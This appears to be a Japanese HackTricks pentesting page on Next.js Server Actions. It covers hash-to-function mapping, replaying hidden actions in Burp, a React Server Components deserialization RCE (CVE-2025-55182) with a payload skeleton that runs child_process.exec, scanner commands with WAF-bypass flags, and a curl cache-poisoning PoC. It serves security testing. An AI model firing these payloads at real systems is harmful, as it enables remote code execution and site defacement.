Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps が有効な場合、ミニファイされた JS チャンクには createServerReference(...) の呼び出しが含まれており、(関連するソースマップとともに)アクションハッシュと元の関数名との対応を復元できるだけの構造を漏らします。これにより、Next-Action で観測されるハッシュを deleteUserAccount()exportFinancialData() のような具体的なターゲットに変換できます。

抽出方法 (regex on minified JS + optional source maps)

ダウンロードした JS チャンクで createServerReference を検索し、ハッシュと関数/ソースシンボルを抽出します。役立つパターンが二つあります:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • グループ1: server action hash (40+ hex chars)
  • グループ2: symbol or path(source map が存在する場合、source map を使って元の関数に解決できるもの)

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Practical workflow

  • Passive discovery while browsing: capture requests with Next-Action headers and JS chunk URLs.
  • Fetch the referenced JS bundles and accompanying *.map files (when present).
  • Run the regex above to build a hash↔name dictionary.
  • Use the dictionary to target testing:
  • Name-driven triage (e.g., transferFunds, exportFinancialData).
  • Track coverage across builds by function name (hashes rotate across builds).

Exercising hidden actions (template-based request)

Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeaterでリプレイし、通常は到達できないアクションのauthorization、input validation、business logicをテストします。

Burpの自動化

  • NextjsServerActionAnalyzer (Burp extension) は上記をBurp内で自動化します:
  • プロキシ履歴からJSチャンクを採掘し、createServerReference(...) エントリを抽出し、利用可能な場合は source maps を解析します。
  • 検索可能な hash↔function-name dictionary を維持し、function name によってビルド間で重複を除去します。
  • 有効なテンプレートPOSTを見つけ、ターゲットアクションのhashを差し替えた送信準備済みの Repeater タブを開くことができます。
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

ノートと制限事項

  • バンドル/source maps から名前を復元するには、production 環境で productionBrowserSourceMaps を有効にする必要があります。
  • Function-name disclosure 自体は脆弱性ではありません;これをガイドとして使い、各アクションのauthorizationを確認してください。

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router のデプロイで、react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) 上で Server Actions を公開しているものは、Flight チャンクの deserialization 中に致命的なサーバー側 prototype pollution を含みます。Flight ペイロード内に $ 参照を仕込むことで、攻撃者は汚染されたプロトタイプから任意の JavaScript 実行へピボットし、さらに Node.js プロセス内で OS コマンド実行に至ることができます。

NodeJS - proto & prototype Pollution

Flight チャンクでの攻撃チェーン

  1. Prototype pollution primitive: "then": "$1:__proto__:then" を設定すると、resolver が Object.prototypethen 関数を書き込みます。これにより、後で処理される任意のプレーンオブジェクトが thenable になり、攻撃者は RSC の内部での非同期制御フローに影響を与えることができます。
  2. Rebinding to the global Function constructor: _response._formData.get"$1:constructor:constructor" に向けます。解決中に object.constructorObjectObject.constructorFunction となるため、今後 _formData.get() が呼ばれると実際には Function(...) が実行されます。
  3. Code execution via _prefix: JavaScript ソースを _response._prefix に入れます。汚染された _formData.get が呼ばれると、フレームワークは Function(_prefix)(...) を評価するので、注入された JS は require('child_process').exec() やその他の Node プリミティブを実行できます。

ペイロードのスケルトン

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function の露出をマッピングする

React Server Functions (RSF) は ‘use server’; ディレクティブを含む関数です。 それらの関数にバインドされたすべての form action、mutation、または fetch helper は RSC Flight endpoint になり、attacker-supplied payloads を簡単に deserialize してしまいます。React2Shell assessments から得られた有用な recon 手順:

  • Static inventory: ディレクティブを探して、フレームワークによって自動的に公開されている RSFs の数を把握します。
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app はデフォルトで App Router と app/ ディレクトリを有効化し、これによりすべてのルートが暗黙的に RSC 対応のエンドポイントになります。/_next/static/chunks/app/ のような App Router のアセットや、text/x-component で Flight チャンクをストリームするレスポンスは、インターネット上で明確なフィンガープリントになります。
  • Implicitly vulnerable RSC deployments: React のアドバイザリは、RSC ランタイムを同梱するアプリは 明示的な RSFs がなくても 悪用可能になり得ると指摘しており、react-server-dom-* 19.0.0–19.2.0 を使用したビルドは疑わしいものとして扱ってください。
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, などは同じシリアライザを再利用しており、修正済みの React ビルドを組み込むまでは同一のリモート攻撃対象面を引き継ぎます。

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: 脆弱(vulnerable)なのは 19.0.0、19.1.0–19.1.1、19.2.0;それぞれ 修正済み(patched)は 19.0.1、19.1.2、19.2.1。
  • Next.js stable: App Router リリース 15.0.0–16.0.6 は脆弱な RSC スタックを組み込んでいます。パッチ系列 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 は修正済みの依存を含むため、これらのバージョン未満のビルドは高価値の調査対象です。
  • Next.js canary: 14.3.0-canary.77+ もバグのあるランタイムを出荷しており、現時点で修正済みの canary リリースがないため、これらのフィンガープリントは強い悪用候補になります。

Remote detection oracle

Assetnote’s react2shell-scanner は、候補パスへ細工された multipart の Flight リクエストを送り、サーバー側の挙動を監視します:

  • Default mode は決定論的な RCE ペイロードを実行し(X-Action-Redirect 経由で反映される数学演算)、コード実行を証明します。
  • --safe-check mode は意図的に Flight メッセージを不正にして、修正済みのサーバは 200/400 を返す一方で、脆弱なターゲットは本文に E{"digest" の部分文字列を含む HTTP/500 レスポンスを返します。その (500 + digest) の組み合わせは、現時点で守備側が公開している最も信頼できるリモートオラクルです。
  • 組み込みの --waf-bypass--vercel-waf-bypass、および --windows スイッチは、payload のレイアウトを調整したりジャンクを前置したりOSコマンドを差し替えたりして、実際のインターネット資産をプローブできるようにします。
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

その他の最近の App Router の問題(2025年後半)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – 破損した Flight ペイロードは RSC resolver を無限ループに陥らせる(pre-auth DoS)か、他の操作のためにコンパイル済み Server Function コードのシリアライズを強制する可能性がある。App Router のビルド(≥13.3)はパッチが当たるまで影響を受ける;15.0.x–16.0.x は upstream advisory の特定のパッチ行が必要。通常の Server Action パスを再利用しつつ、悪用する $ 参照を含む text/x-component ボディをストリームする。CDN 背後では、接続がハングするとキャッシュのタイムアウトによって接続が開いたままになり、DoS が低コストになる。
  • トリアージのヒント: 破損した Flight ペイロードの後、未パッチのターゲットは 500E{"digest" を含めて返す;パッチ済みビルドは 400/200 を返す。Flight チャンクを既にストリーミングしているエンドポイント(Next-Action ヘッダや text/x-component レスポンスを探す)をテストし、変更したペイロードでリプレイする。
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2)Vary が欠けているため、Accept: text/x-component に対するレスポンスがキャッシュされ、HTML を期待するブラウザに返される可能性がある。単一のプライミングリクエストでページを生の RSC ペイロードに置き換えられる。PoC の流れ:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

2つ目のレスポンスが HTML の代わりに JSON Flight データを返す場合、そのルートは汚染可能である。テスト後はキャッシュをパージする。

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする